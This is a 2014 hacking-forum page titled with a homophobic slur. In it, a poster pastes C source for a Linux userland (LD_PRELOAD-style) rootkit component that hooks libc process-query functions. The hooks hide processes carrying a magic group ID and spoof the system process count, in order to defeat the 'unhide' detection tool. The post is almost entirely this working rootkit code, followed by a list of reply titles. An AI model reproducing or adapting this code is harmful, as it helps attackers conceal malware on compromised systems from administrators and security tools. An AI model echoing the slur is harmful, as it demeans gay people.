Login Register






fagcommunity.rocks filter_list
Author
Message
RE: fagcommunity.rocks #110
(11-30-2014, 07:18 PM)dopamine Wrote: Yeah, you can't code a ring3 rootkit in python.

http://packetstormsecurity.com/files/817...-Code.html
Linux of course

PHP Code:
// unhide-funcs.c - hooks for functions called by unhide.rb // defines removed because fuck u #include <sys/resource.h> // This is needed on GCC >4.7. Thanks Paul Rubel. // http://stackoverflow.com/a/18517210 #include <sys/sysinfo.h> // ok, we're officially autistic now. int sched_rr_get_interval(pid_t pid, struct timespec * tp) { struct stat s_fstat; char procid[20]; if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY); if(!old_sched_rr_get_interval) old_sched_rr_get_interval=real_dlsym(libc,"sched_rr_get_interval"); if(!old_xstat) old_xstat = real_dlsym (libc, "__xstat"); memset(&s_fstat, 0, sizeof(stat)); if(getgid() == MAGIC_GID) return old_sched_rr_get_interval(pid,tp); snprintf(procid,sizeof(procid),"/proc/%d",pid); old_xstat(_STAT_VER, procid, &s_fstat); if(s_fstat.st_gid == MAGIC_GID) { errno = ESRCH; return -1; } return old_sched_rr_get_interval(pid,tp); } int sched_getparam(pid_t pid, struct sched_param *param) { struct stat s_fstat; char procid[20]; if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY); if(!old_sched_getparam) old_sched_getparam=real_dlsym(libc,"sched_getparam"); if(!old_xstat) old_xstat = real_dlsym (libc, "__xstat"); memset(&s_fstat, 0, sizeof(stat)); if(getgid() == MAGIC_GID) return old_sched_getparam(pid,param); snprintf(procid,sizeof(procid),"/proc/%d",pid); old_xstat(_STAT_VER, procid, &s_fstat); if(s_fstat.st_gid == MAGIC_GID) { errno = ESRCH; return -1; } return old_sched_getparam(pid,param); } int sched_getaffinity(pid_t pid, size_t cpusetsize, cpu_set_t *mask) { struct stat s_fstat; char procid[20]; if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY); if(!old_sched_getaffinity) old_sched_getaffinity=real_dlsym(libc,"sched_getaffinity"); if(!old_xstat) old_xstat = real_dlsym (libc, "__xstat"); memset(&s_fstat, 0, sizeof(stat)); if(getgid() == MAGIC_GID) return old_sched_getaffinity(pid,cpusetsize,mask); snprintf(procid,sizeof(procid),"/proc/%d",pid); old_xstat(_STAT_VER, procid, &s_fstat); if(s_fstat.st_gid == MAGIC_GID) { errno = ESRCH; return -1; } return old_sched_getaffinity(pid,cpusetsize,mask); } int sysinfo(struct sysinfo *info) { FILE *ps_spoof; int rval; char count[4]; if(!libc) libc=dlopen(LIBC_PATH,RTLD_LAZY); if(!old_sysinfo) old_sysinfo=real_dlsym(libc,"sysinfo"); rval = old_sysinfo(info); ps_spoof = popen("ps axHo lwp,cmd|wc -l","r"); fscanf(ps_spoof,"%3s",count); pclose(ps_spoof); info->procs = atoi(count)-4; return rval; } int getpriority(__priority_which_t __which, id_t __who) { struct stat s_fstat; char procid[20]; if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY); if(!old_getpriority) old_getpriority=real_dlsym(libc,"getpriority"); if(!old_xstat) old_xstat = real_dlsym (libc, "__xstat"); memset(&s_fstat, 0, sizeof(stat)); if(getgid() == MAGIC_GID) return old_getpriority(__which,__who); snprintf(procid,sizeof(procid),"/proc/%d",__who); old_xstat(_STAT_VER, procid, &s_fstat); if(s_fstat.st_gid == MAGIC_GID) { errno = ESRCH; return -1; } return old_getpriority(__which,__who); } int getsid(int pid) { // printf("evil getsid called pid %d\n",pid); struct stat s_fstat; char procid[20]; if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY); if(!old_getsid) old_getsid=real_dlsym(libc,"getsid"); if(!old_xstat) old_xstat=real_dlsym (libc, "__xstat"); if(getgid() == MAGIC_GID) return old_getsid(pid); memset(&s_fstat, 0, sizeof(stat)); snprintf(procid,sizeof(procid),"/proc/%d",pid); old_xstat(_STAT_VER, procid, &s_fstat); if(s_fstat.st_gid == MAGIC_GID) { errno = ESRCH; return -1; } return old_getsid(pid); } int sched_getscheduler(int pid) { struct stat s_fstat; char procid[20]; if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY); if(!old_sched_getscheduler) old_sched_getscheduler=real_dlsym(libc,"sched_getscheduler"); if(!old_xstat) old_xstat=real_dlsym (libc, "__xstat"); memset(&s_fstat, 0, sizeof(stat)); if(getgid() == MAGIC_GID) return old_sched_getscheduler(pid); snprintf(procid,sizeof(procid),"/proc/%d",pid); old_xstat(_STAT_VER, procid, &s_fstat); if(s_fstat.st_gid == MAGIC_GID) { errno = ESRCH; return -1; } return old_sched_getscheduler(pid); } int getpgid(int pid) { struct stat s_fstat; char procid[20]; if(!libc) libc = dlopen(LIBC_PATH,RTLD_LAZY); if(!old_getpgid) old_getpgid=real_dlsym(libc,"getpgid"); if(!old_xstat) old_xstat=real_dlsym (libc, "__xstat"); memset(&s_fstat, 0, sizeof(stat)); if(getgid() == MAGIC_GID) return old_getpgid(pid); snprintf(procid,sizeof(procid),"/proc/%d",pid); old_xstat(_STAT_VER, procid, &s_fstat); if(s_fstat.st_gid == MAGIC_GID) { errno = ESRCH; return -1; } return old_getpgid(pid); }
(This post was last modified: 11-30-2014, 09:15 PM by Reiko.)
PGP
Sign: F202 79C9 76F7 40BB 54EC 494F 5DEF 1D70 14C1 C4CC
Encrypt: A5B3 1B21 55E1 80AF 4C6E DE83 467B 8EFC 3DEE 681C
Auth: CD55 E8A5 1A08 2933 8BA6 BC88 D81F 1943 739A 3C47

Reply





Messages In This Thread
fagcommunity.rocks - by dopamine - 11-30-2014, 04:22 PM
RE: fagcommunity.rocks - by Lain - 11-30-2014, 04:24 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 04:24 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 04:29 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 04:30 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 04:31 PM
RE: fagcommunity.rocks - by MikeM - 11-30-2014, 04:37 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 04:39 PM
RE: fagcommunity.rocks - by Nebulous - 11-30-2014, 04:58 PM
RE: fagcommunity.rocks - by MikeM - 11-30-2014, 05:35 PM
RE: fagcommunity.rocks - by Nebulous - 11-30-2014, 04:55 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 04:57 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 04:51 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 04:54 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 05:46 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 05:48 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 05:04 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 05:05 PM
RE: fagcommunity.rocks - by warstrike - 11-30-2014, 05:13 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 05:17 PM
RE: fagcommunity.rocks - by warstrike - 11-30-2014, 05:42 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 05:41 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 05:43 PM
RE: fagcommunity.rocks - by MikeM - 11-30-2014, 05:50 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 05:51 PM
RE: fagcommunity.rocks - by MikeM - 11-30-2014, 05:59 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:01 PM
RE: fagcommunity.rocks - by MikeM - 11-30-2014, 06:03 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 06:05 PM
RE: fagcommunity.rocks - by Kizaru - 11-30-2014, 06:10 PM
RE: fagcommunity.rocks - by MikeM - 11-30-2014, 06:12 PM
RE: fagcommunity.rocks - by Kizaru - 11-30-2014, 06:12 PM
RE: fagcommunity.rocks - by MikeM - 11-30-2014, 06:13 PM
RE: fagcommunity.rocks - by Kizaru - 11-30-2014, 06:14 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:13 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 06:02 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 06:05 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:08 PM
RE: fagcommunity.rocks - by MikeM - 11-30-2014, 06:10 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:14 PM
RE: fagcommunity.rocks - by MikeM - 11-30-2014, 06:16 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 06:09 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 06:11 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:15 PM
RE: fagcommunity.rocks - by roger_smith - 11-30-2014, 06:15 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:16 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 06:16 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:17 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 06:20 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:22 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 06:25 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:28 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 06:41 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:48 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 06:54 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 06:55 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 06:57 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 06:46 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 06:58 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 07:00 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 07:06 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 07:11 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 07:12 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 07:15 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 07:18 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 07:24 PM
RE: fagcommunity.rocks - by Nebulous - 11-30-2014, 07:34 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 07:36 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 07:37 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 07:43 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 07:45 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 08:02 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:04 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 08:06 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:08 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 08:11 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:11 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 08:15 PM
RE: fagcommunity.rocks - by Alan Turing - 12-01-2014, 01:51 AM
RE: fagcommunity.rocks - by Nebulous - 12-01-2014, 01:58 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 02:23 AM
RE: fagcommunity.rocks - by Alan Turing - 12-01-2014, 02:24 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 02:27 AM
RE: fagcommunity.rocks - by Alan Turing - 12-01-2014, 02:28 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 02:29 AM
RE: fagcommunity.rocks - by Alan Turing - 12-01-2014, 02:30 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 02:32 AM
RE: fagcommunity.rocks - by Alan Turing - 12-01-2014, 02:33 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 02:33 AM
RE: fagcommunity.rocks - by Alan Turing - 12-01-2014, 02:35 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 02:36 AM
RE: fagcommunity.rocks - by Alan Turing - 12-01-2014, 02:37 AM
RE: fagcommunity.rocks - by Dyme - 12-01-2014, 02:39 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 02:40 AM
RE: fagcommunity.rocks - by Alan Turing - 12-01-2014, 02:41 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 02:42 AM
RE: fagcommunity.rocks - by Alan Turing - 12-01-2014, 02:43 AM
RE: fagcommunity.rocks - by Kizaru - 11-30-2014, 08:21 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:23 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 08:25 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:27 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 08:28 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 08:28 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 08:31 PM
RE: fagcommunity.rocks - by Reiko - 11-30-2014, 09:13 PM
RE: fagcommunity.rocks - by Nebulous - 11-30-2014, 07:26 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 07:28 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 07:35 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 07:05 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 07:19 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 07:24 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 07:30 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 07:31 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 07:34 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 07:39 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 07:41 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 07:54 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:01 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 08:10 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:17 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 08:24 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:28 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 08:34 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:38 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 08:41 PM
RE: fagcommunity.rocks - by dopamine - 11-30-2014, 08:48 PM
RE: fagcommunity.rocks - by Psycho_Coder - 11-30-2014, 08:57 PM
RE: fagcommunity.rocks - by dopamine - 12-01-2014, 06:44 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 06:58 AM
RE: fagcommunity.rocks - by Psycho_Coder - 12-01-2014, 07:02 AM
RE: fagcommunity.rocks - by Satan - 12-01-2014, 07:06 AM
RE: fagcommunity.rocks - by dopamine - 12-01-2014, 07:12 AM
RE: fagcommunity.rocks - by Blunts - 12-01-2014, 07:20 AM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 08:42 PM
RE: fagcommunity.rocks - by The Toilet Paper King - 11-30-2014, 07:36 PM
RE: fagcommunity.rocks - by warstrike - 11-30-2014, 09:21 PM
RE: fagcommunity.rocks - by Bannedshee - 11-30-2014, 09:27 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 09:30 PM
RE: fagcommunity.rocks - by Bannedshee - 11-30-2014, 09:31 PM
RE: fagcommunity.rocks - by Blunts - 11-30-2014, 09:35 PM
RE: fagcommunity.rocks - by MikeM - 12-01-2014, 01:59 AM
RE: fagcommunity.rocks - by Nebulous - 12-01-2014, 02:02 AM
Re: RE: fagcommunity.rocks - by Oni - 12-01-2014, 02:49 AM
RE: fagcommunity.rocks - by dopamine - 12-01-2014, 07:53 PM
RE: fagcommunity.rocks - by Crypto Kitsune - 12-01-2014, 08:11 PM